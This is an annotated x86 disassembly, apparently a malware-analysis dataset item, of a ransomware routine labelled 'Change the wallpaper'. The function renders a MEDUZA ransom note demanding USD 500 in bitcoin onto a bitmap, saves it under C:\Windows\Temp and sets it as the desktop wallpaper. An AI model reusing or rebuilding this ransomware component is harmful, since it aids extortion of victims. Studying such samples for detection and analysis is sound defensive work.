Function at 0x4011a0
Capabilities:
Change the wallpaper

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4334f3
mov eax, dword fs:[0]
push eax
sub esp, 0xc8
mov eax, dword [0x445054]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push 0
push 0
lea ecx, [ebp - 0xd4]
call fcn.00406e90
push 0
lea eax, [ebp - 0xd4]
push eax
lea ecx, [ebp - 0x5c]
push ecx
call sub.gdiplus.dll_GdiplusStartup
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0
je 0x401225
push 0x4054a0
mov edx, dword [ebp - 0x68]
push edx
push str.GDI_Startup_failed_with_status:
push 0x4462b0
call fcn.00403370
add esp, 8
mov ecx, eax
call fcn.004082b0
mov ecx, eax
call fcn.00408600
jmp 0x4015dd
mov dword [ebp - 0x54], 0x780
mov dword [ebp - 0x58], 0x438
push 0x26200a
mov eax, dword [ebp - 0x58]
push eax
mov ecx, dword [ebp - 0x54]
push ecx
lea ecx, [ebp - 0x9c]
call fcn.00406c60
mov dword [ebp - 4], 0
lea edx, [ebp - 0x9c]
push edx
lea ecx, [ebp - 0x64]
call fcn.00406ed0
mov byte [ebp - 4], 1
push 0
push 0
push 0
lea ecx, [ebp - 0xb0]
call fcn.00406d50
push eax
lea ecx, [ebp - 0x64]
call fcn.00409200
push 0
push str.Arial
lea ecx, [ebp - 0x78]
call fcn.00406e40
mov byte [ebp - 4], 2
push 2
push 1
push ecx
movss xmm0, dword [0x435f94]
movss dword [esp], xmm0
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x70]
call fcn.00406dd0
mov byte [ebp - 4], 3
push 0
push 0xff
push 0
push 0xff
lea ecx, [ebp - 0xb4]
call fcn.00406d90
push eax
lea ecx, [ebp - 0x8c]
call fcn.00407000
mov byte [ebp - 4], 4
push str.YOUR_SYSTEM_IS_NOW_ENCRYPTED____n_nAll_files_on_your_system_are_now_encrypted_with_a_strong_algorithm._n_nBackups_were_deleted_and_are_not_recoverable._n_nPlease_do_not_try_to_decrypt_your_files_or_you_might_corrupt_them_forever._n_nTo_restore_your_files_please_send_a_value_of_USD__500_in_bitcoin_to_the_below_address._n_nMEDUZA_Ransomware.
lea ecx, [ebp - 0x28]
call fcn.004066d0
mov byte [ebp - 4], 5
cvtsi2ss xmm0, dword [ebp - 0x58]
push ecx
movss dword [esp], xmm0
cvtsi2ss xmm0, dword [ebp - 0x54]
push ecx
movss dword [esp], xmm0
push ecx
xorps xmm0, xmm0
movss dword [esp], xmm0
push ecx
xorps xmm0, xmm0
movss dword [esp], xmm0
lea ecx, [ebp - 0xac]
call fcn.00406f70
lea ecx, [ebp - 0xc4]
call fcn.00406fc0
lea ecx, [ebp - 0xc4]
push ecx
lea edx, [ebp - 0xac]
push edx
lea eax, [ebp - 0x70]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x28]
call fcn.0040c930
push eax
lea ecx, [ebp - 0x64]
call fcn.00409460
cvtsi2ss xmm0, dword [ebp - 0x54]
subss xmm0, dword [ebp - 0xbc]
divss xmm0, dword [0x435f90]
movss dword [ebp - 0x7c], xmm0
cvtsi2ss xmm0, dword [ebp - 0x58]
subss xmm0, dword [ebp - 0xb8]
divss xmm0, dword [0x435f90]
movss dword [ebp - 0x80], xmm0
movss xmm0, dword [ebp - 0x7c]
movss dword [ebp - 0xac], xmm0
movss xmm0, dword [ebp - 0x80]
movss dword [ebp - 0xa8], xmm0
lea ecx, [ebp - 0x8c]
push ecx
push 0
lea edx, [ebp - 0xac]
push edx
lea eax, [ebp - 0x70]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x28]
call fcn.0040c930
push eax
lea ecx, [ebp - 0x64]
call fcn.00409390
lea ecx, [ebp - 0x50]
push ecx
push str.557CF406_1A04_11D3_9A73_0000F81EF32E
call dword [sym.imp.ole32.dll_CLSIDFromString]
test eax, eax
je 0x401456
push 0x4054a0
push str.Failed_to_get_CLSID_for_PNG_format
push 0x4462b0
call fcn.00403370
add esp, 8
mov ecx, eax
call fcn.00408600
mov edx, dword [ebp - 0x5c]
push edx
call sub.gdiplus.dll_GdiplusShutdown
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x28]
call fcn.00407c50
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x8c]
call fcn.00407e40
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x70]
call fcn.00407dc0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x78]
call fcn.00407de0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x64]
call fcn.00407e00
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9c]
call fcn.00407d80
jmp 0x4015dd
push str.C:WindowsTempmeduza_wallpaper.png
lea ecx, [ebp - 0x40]
call fcn.004066d0
mov byte [ebp - 4], 6
push 0
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x40]
call fcn.0040c930
push eax
lea ecx, [ebp - 0x9c]
call fcn.004094c0
test eax, eax
je 0x401512
push 0x4054a0
push str.Failed_to_save_the_bitmap
push 0x4462b0
call fcn.00403370
add esp, 8
mov ecx, eax
call fcn.00408600
mov ecx, dword [ebp - 0x5c]
push ecx
call sub.gdiplus.dll_GdiplusShutdown
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x40]
call fcn.00407c50
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x28]
call fcn.00407c50
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x8c]
call fcn.00407e40
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x70]
call fcn.00407dc0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x78]
call fcn.00407de0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x64]
call fcn.00407e00
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9c]
call fcn.00407d80
jmp 0x4015dd
push 3
lea ecx, [ebp - 0x40]
call fcn.0040c930
push eax
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
test eax, eax
jne 0x401559
push 0x4054a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Failed_to_set_the_wallpaper__error:
push 0x4462b0
call fcn.00403370
add esp, 8
mov ecx, eax
call fcn.00408470
mov ecx, eax
call fcn.00408600
jmp 0x401577
push 0x4054a0
push str.Wallpaper_set_successfully_
push 0x446200
call fcn.00403370
add esp, 8
mov ecx, eax
call fcn.00408600
mov edx, dword [ebp - 0x5c]
push edx
call sub.gdiplus.dll_GdiplusShutdown
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x40]
call fcn.00407c50
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x28]
call fcn.00407c50
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x8c]
call fcn.00407e40
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x70]
call fcn.00407dc0
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x78]
call fcn.00407de0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x64]
call fcn.00407e00
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x9c]
call fcn.00407d80
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004112c7
mov esp, ebp
pop ebp
ret